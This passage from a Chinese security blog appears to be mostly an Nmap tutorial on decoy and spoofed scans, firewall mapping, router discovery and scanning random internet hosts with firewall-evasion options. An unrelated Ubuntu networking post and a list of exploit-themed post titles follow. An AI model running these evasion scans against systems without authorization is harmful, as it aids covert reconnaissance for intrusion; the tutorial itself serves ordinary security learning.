另外可以使用Decoy（诱骗）方式来掩盖真实的扫描地址，例如-D ip1,ip2,ip3,ip4,ME，这样就会产生多个虚假的ip同时对目标机进行探测，其中ME代表本机的真实地址，这样对方的防火墙不容易识别出是扫描者的身份。

nmap -T4 -F -n -Pn -D192.168.1.100,192.168.1.101,192.168.1.102,ME 192.168.1.1

1.3 定制探测包

Nmap提供–scanflags选项，用户可以对需要发送的TCP探测包的标志位进行完全的控制。可以使用数字或符号指定TCP标志位：URG, ACK, PSH,RST, SYN,and FIN。

例如，

nmap -sX -T4 –scanflags URGACKPSHRSTSYNFINtargetip

此命令设置全部的TCP标志位为1，可以用于某些特殊场景的探测。

另外使用–ip-options可以定制IP包的options字段。

使用-S指定虚假的IP地址，-D指定一组诱骗IP地址（ME代表真实地址）。-e指定发送探测包的网络接口，-g（–source- port）指定源端口，-f指定使用IP分片方式发送探测包，–spoof-mac指定使用欺骗的MAC地址。–ttl指定生存时间。

2 扫描防火墙

防火墙在今天网络安全中扮演着重要的角色，如果能对防火墙系统进行详细的探测，那么绕开防火墙或渗透防火墙就更加容易。所以，此处讲解利用Nmap获取防火墙基本信息典型的用法。

为了获取防火墙全面的信息，需尽可能多地结合不同扫描方式来探测其状态。在设计命令行参数时，可以综合网络环境来微调时序参数，以便加快扫描速度。

SYN扫描

首先可以利用基本的SYN扫描方式探测其端口开放状态。

nmap -sS -T4 www.lucien116.com

扫描输出为：

All997ports are filtered

PORT STATE SERVICE

80/tcp open http

113/tcp closed auth

507/tcp open crs

我们可以看到SYN方式探测到3个端口开放，而有997个端口被过滤。Nmap默认扫描只扫描1000个最可能开放的端口，如果想扫描全部的端口.

使用命令nmap -sS -T4 -p- www.lucien116.com

FIN扫描

然后可以利用FIN扫描方式探测防火墙状态。FIN扫描方式用于识别端口是否关闭，收到RST回复说明该端口关闭，否则说明是open或filtered状态。

nmap -sF -T4 www.lucien116.com

PORT STATE SERVICE

7/tcp open|filtered echo

9/tcp open|filtered discard

11/tcp open|filtered systat

13/tcp open|filtered daytime

23/tcp open|filtered telnet

25/tcp open|filtered smtp

37/tcp open|filtered time

79/tcp open|filtered finger

80/tcp open|filtered http

更多端口，此处省略

ACK扫描

然后利用ACK扫描判断端口是否被过滤。针对ACK探测包，未被过滤的端口（无论打开、关闭）会回复RST包。

nmap -sA -T4 www.lucien116.com

扫描输出为：

Notshown:997unfiltered ports

PORT STATE SERVICE

135/tcp filtered msrpc

1434/tcp filtered ms-sql-m

32777/tcp filtered sometimes-rpc17

从结果可以997个端口是未被过滤的（unfiltered），而3个（135/1434/32777）被过滤了。所以，将ACK与FIN扫描的结果结合分析，我们可以找到很多开放的端口。例如7号端口，FIN中得出的状态是:open或filtered，从ACK中得出的状态是 unfiltered，那么该端口只能是open的。

Window扫描

当然也可以利用Window扫描方式，得出一些端口信息，可以与之前扫描分析的结果相互补充。Window扫描方式只对某些TCPIP协议栈才有效。

window扫描原理与ACK类似，发送ACK包探测目标端口，对回复的RST包中的Window size进行解析。在某些TCPIP协议栈实现中，关闭的端口在RST中会将Window size设置为0；而开放的端口将Window size设置成非0的值。

nmap -sW -p- -T4 www.lucien116.com

输出结果：

PORT STATE SERVICE

7/tcp open echo

9/tcp open discard

11/tcp open systat

13/tcp open daytime

更多端口，此处省略

在采用多种方式获取出防火墙状态后，可以进一步进行应用程序与版本侦测及OS侦测。

3 扫描路由器

Nmap内部维护了一份系统与设备的数据库（nmap-os-db），能够识别数千种不同系统与设备。所以，可以用来扫描主流的路由器设备。

3.1 扫描思科路由器

nmap -p1-25,80,512-515,2001,4001,6001,9001 10.20.0.1/16

思科路由器会在上述端口中运行了常见的服务。列举出上述端口开放的主机，可以定位到路由器设备可能的IP地址及端口状态。

3.2 扫描路由器TFTP

nmap –sU –p69 –nvv target

大多数的路由器都支持TFTP协议（简单文件传输协议），该协议常用于备份和恢复路由器的配置文件，运行在UDP 69端口上。使用上述命令可以探测出路由器是否开放TFTP。

3.3 扫描路由器操作系统

与通用PC扫描方式类似，使用-O选项扫描路由器的操作系统。-F用于快速扫描最可能开放的100个端口，并根据端口扫描结果进一步做OS的指纹分析。

nmap -O -F -n 192.168.1.1

4 扫描互联网

Nmap内部的设计非常强大灵活，既能扫描单个主机、小型的局域网，也可以扫描成千上万台主机从中发掘用户关注的信息。扫描大量主机，需要对扫描时序等参数进行仔细的优化。

4.1 发现互联网上web服务器

nmap -iR 100000 -sS -PS80 -p 80 -oG nmap.txt

随机地产生10万个IP地址，对其80端口进行扫描。将扫描结果以greppable（可用grep命令提取）格式输出到nmap.txt文件。

可以使用grep命令从输出文件提取关心的细节信息。

4.2 统计互联网主机基本数据

Nmap的创始人Fyodor在2008年的Black Hat大会发表一篇演讲，讲的是如何使用Nmap来扫描互联网（Nmap: Scanning the Internet），资料地址： http://nmap.org/presentations/BHDC08/。

Fyodor进行互联网扫描的初衷是统计出网络经验数据并用之优化Nmap的性能。例如，根据统计出每个端口开放的概率，优先扫描常见端口，以节省用户的时间。

产生随机IP地址

产生100万个随机的IP地址，并将之保存到文件中，方便后续扫描时作为参数输入。

nmap -iR 1200000 -sL -n | grep “not scanned” | awk ‘{print $2}’ | sort -n | uniq >! tp; head -25000000 tp >! tcp-allports-1M-IPs; rm tp

上述命令含义：随机生成1200000个IP地址（-iR 120000），并进行列表扫描（-sL，列举出IP地址，不进行真正的扫描），不进行dns解析操作（-n），这样将产生Nmap列表扫描的结果。在此结果中搜出未扫描的行（grep “not scanned”），打印出每一行的第二列内容（awk ‘{print $2}’，也就是IP地址），然后对获取到的IP地址进行排序（sort -n），然后剔除重复IP地址，将结果保存到临时文件tp，再取出前1000000个IP地址保存到tcp-allports-1M-IPs文件中，删除临时文件。

总之，此处产生了1000000个随机IP地址存放在tcp-allports-1M-IPs文件中。

优化主机发现

nmap -sP -PE -PP -PS21,22,23,25,80,113,31339-PA80,113,443,10042 –source-port 53 -T4 -iL tcp-allports-1M-IPs

上述命令进行主机发现：使用产生的IP地址（-iL tcp-allports-1M-IPs），指定发送包的源端口为53（–source-port 53，该端口是DNS查询端口，一般的防火墙都允许来自此端口的数据包），时序级别为4（-T4，探测速度比较快），以TCP SYN包方式探测目标机的21,22,23,25,80,113,31339端口，以TCP ACK包方式探测对方80,113,443,10042端口，另外也发送ICMP ECHO/ICMP TIMESTAMP包探测对方主机。只要上述的探测包中得到一个回复，就可以证明目标主机在线。

完整的扫描命令

在准备了必要的IP地址文件，并对主机发现参数优化后，我们就得到最终的扫描命令：

nmap -S [srcip] -d –max-scan-delay 10 -oAlogs/tcp-allports-%T-%D -iL tcp-allports-1M-IPs –max-retries 1–randomize-hosts -p- -PS21,22,23,25,53,80,443 -T4 –min-hostgroup 256 –min-rate175 –max-rate 300

上述命令用于扫描互联网上100万台主机全部的TCP端口的开放情况。

使用包含100万个IP地址的文件（-iL tcp-allports-1M-IPs），源端IP地址设置为srcip(指定一个IP地址，保证该IP地址位于统一局域网中，否则无法收到目标机的回复包)，主机发现过程使用TCP SYN包探测目标机的21,22,23,25,53,80,443，扫描过程将随机打乱主机顺序（–randomize-hosts，因为文件中的IP 已经排序，这里将之打乱，避免被防火墙检查出），端口扫描过程检查全部的TCP端口（-p-，端口1到65535），使用时序级别为4（-T4，速度比较快），将结果以XML/grepable/普通格式输出到文件中（-oA logs/tcp-allports-%T-%D，其中%T表示扫描时间，%D表示扫描日期）。

-d表示打印调试出信息。

–max-scan-delay 10表示发包最多延时10秒，防止特殊情景下等待过长的时间。

–max-retries 1，表示端口扫描探测包最多被重传一次，防止Nmap在没有收到回复的情况下多次重传探测包，当然这样也会降低探测的准确性。

–min-host-group 256表示进行端口扫描与版本侦测时，同时进行探测的主机的数量，这里至少256个主机一组来进行扫描，可以加快扫描速度。

–min-rate 175和–max-rate 300，表示发包速率介于175和300之间，保证扫描速度不会太慢，也不会因为速率过高引起目标机的警觉。

扫描结果

Fyodor组织的此次扫描得出很多重要结论，统计出了互联网最有可能开放的10个TCP端口。

80 (http)
23 (telnet)
22 (ssh)
443 (https)
3389 (ms-term-serv)
445 (microsoft-ds)
139 (netbios-ssn)
21 (ftp)
135 (msrpc)
25 (smtp)

最有可能开放的10个UDP端口。

137 (netbios-ns)
161 (snmp)
1434 (ms-sql-m)
123 (ntp)
138 (netbios-dgm)
445 (microsoft-ds)
135 (msrpc)
67 (dhcps)
139 (netbios-ssn)
53 (domain)

5 扫描Web站点

Web是互联网上最广泛的应用，而且越来越多的服务倾向于以Web形式提供出来，所以对Web安全监管也越来越重要。目前安全领域有很多专门的 Web扫描软件（如AppScan、WebInspect、W3AF），能够提供端口扫描、漏洞扫描、漏洞利用、分析报表等诸多功能。而Nmap作为一款开源的端口扫描器，对Web扫描方面支持也越来越强大，可以完成Web基本的信息探测：服务器版本、支持的Method、是否包含典型漏洞。功能已经远远超过同领域的其他开源软件，如HTTPrint、Httsquash。

目前Nmap中对Web的支持主要通过Lua脚本来实现，NSE脚本库中共有50多个HTTP相关的脚本。

扫描实例：

nmap -sV -p 80 -T4 –script http*,defaultscanme.nmap.org

　　上面以扫描scanme.nmap.org的Web应用展示Nmap提供Web扫描能力，从图中可以看到扫描结果中提供了比较丰富的信息。

首先是应用程序及版本： Apachehttpd 2.2.14 (Ubuntu)

然后搜出了该站点的affiliate-id:该ID可用于识别同一拥有者的不同页面。

然后输出HTTP-headers信息，从中查看到基本配置信息。

从http-title中，可以看到网页标题。某些网页标题可能会泄漏重要信息，所以这里也应对其检查。

Ubuntu中启用关闭Network-manager网络设置问题

Thu, 18 Aug 2016 17:25:36 +0000

【Server版本】

在UbuntuServer版本中，因为只存有命令行模式，所以要想进行网络参数设置，只能通过修改/etc/network/interfaces。具体设置方法如下： (1) UbuntuServer 修改 IP地址 打开/etc/network/interfaces sudo vim/etc/network/interfaces 加入以下语句： auto eth0 iface eth0inet static addressxxx.xxx.xxx.xxx #IP地址 netmaskxxx.xxx.xxx.xxx #子网掩码 gatewayxxx.xxx.xxx.xxx #网关 (2) UbuntuServer 修改 DNS 打开/etc/resolv.conf sudo vim/etc/resolv.conf 改为如下内容： searchlocaldomain #如果本Server为DNS服务器，可以加上这一句，如果不是，可以不加 nameserver172.16.3.4 #希望修改成的DNS nameserver172.16.3.3 #希望修改成的DNS (3) UbuntuServer 最后一步，也是最重要的一步 在rc.local里加入这个重启网络配置的命令： sudo/etc/init.d/networking restart 【Desktop版本】 在Desktop版本中，除了可以修改/etc/network/interfaces来进行配置以外；还可以直接在network-manager中配置。通过 interfaces修改的方法参照Server版本。network-manager的配置和直观，按照提示一步一步操作即可，有兴趣的朋友，可以自行Google或者Baidu。 但如果修改了interfaces，又配置了network-manager（以下简称nm），你就会发现出现了一些莫名其妙的问题： 1，interfaces和 nm中的网络设置不一样，系统实际的IP是哪个？ 2，有时候莫名其妙的，界面右上角的网络连接图标就丢失了。 3，明明在nm中配置了正确的网络设置，为什么就上不了网呢？ 其实，我们要知道 interfaces和 nm之间的关系，这些问题就不难解释了。 首先，当系统内没有第三方网络管理工具（比如nm）时，系统默认使用interfaces文件内的参数进行网络配置。（就像Server版本一样） 接着，当系统内安装了 nm之后，nm默认接管了系统的网络配置，使用nm 自己的网络配置参数来进行配置。 但是，如果用户在安装nm之后（Desktop版本默认安装了nm），自己手动修改了interfaces 文件，那nm 就自动停止对系统网络的管理，系统改使用interfaces 文件内的参数进行网络配置。 此时，再去修改nm 内的参数，不影响系统实际的网络配置。若要让nm 内的配置生效，必须重新启用nm 接管系统的网络配置。 现在知道了两者之间的工作关系，再看上面的三个问题： 1，要看nm是否接管，如果没有接管，系统实际的IP设置以interfaces 中的为准。反之，以nm 中的为准。 2，当nm 停止接管的时候，网络连接图标就丢失了。 3，同样是接管的问题。 如果用户希望在Desktop版本中，直接使用interfaces 进行网络配置，那最好删除network-manager 。 如果在出现上述问题之后，希望能继续使用nm 来进行网络配置，则需要进行如下操作： sudo servicenetwork-manager stop # 停止 nm服务 sudo rm/var/lib/NetworkManager/NetworkManager.state # 移除nm 的状态文件 sudo gedit/etc/NetworkManager/nm-system-settings.conf # 打开nm 的配置文件 ##里面有一行：managed=true ## 如果你手工改过/etc/network/interfaces，nm会自己把这行改成：managed=false ## 将false 修改成true sudo servicenetwork-manager start

Posts on Lucien's Blog

通过ICMP进行命令控制和隧道传输

表中的内容

ICMP隧道

ICMP协议工作概述

通过ICMP协议进行命令和控制

icmpsh：C2通道及其安装

运行icmpsh作为Master（Kali Linux）

将icmpsh作为slave运行（Windows 10）

Oracle WebLogic漏洞攻击

Wireshark过滤规则之：http数据包

对某集团网站被入侵后的分析

机器学习与网络安全相关的资料

数据源

论文

一份安全分析师面试题

记一次服务器被入侵后的分析

Manager API简介

AMI协议

包的类型

AMI配置

记一远程命令执行漏洞的修补过程

Apache Tomcat 信息泄露漏洞预警及远程代码执行漏洞复现

一、漏洞描述：

二、影响范围：

三、漏洞复现：

前端常用的几种弹窗函数

Burpsuite教程与技巧之HTTP brute暴力破解

Samba远程代码执行漏洞(CVE-2017-7494)分析

概述

技术分析

解决方案

Joomla! 3.7 Core SQL 注入 (CVE-2017-8917)漏洞分析

0x00 漏洞概述

漏洞简介

漏洞影响

0x01 漏洞复现

在线免费的前端黑工具 XSS'OR

zxshell3.0后门程序通信数据简单分析

前言：

文件目录

分析环境

分析过程

样本配置

远程桌面

视频监视

获取一个CMD

图片后门捆绑利用工具 – FakeImageExploiter

配置使用

生成Payload

PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析

PHP SAPI 与运行模式

历史成因

NSA Eternalblue SMB 漏洞分析

环境

漏洞原理

方程式ETERNALBLUE之fb.py的复现

1.环境简介

2.windows2003攻击机

3.攻击机kali上

4.接着在windows2003下执行

phpcmsV9.6.0一键批量getshell工具

介绍

待办

说明

代码

bypass姿势汇总，防火墙绕过技巧总结，IPS、IDS绕过技术

基于DNS、HTTP和HTTPS隧道协议的木马流量分析

Cobalt Strike3.0使用手册

0x00 简介

0x01 运行

0x02 Listeners

一个食粥的故事

Part.1

Part.2

Part.3

SMBv3远程拒绝服务(BSOD)漏洞分析

前言

漏洞复现

回溯及数据包分析(important!)

摘要

第一章冰山一角

第二章始作俑者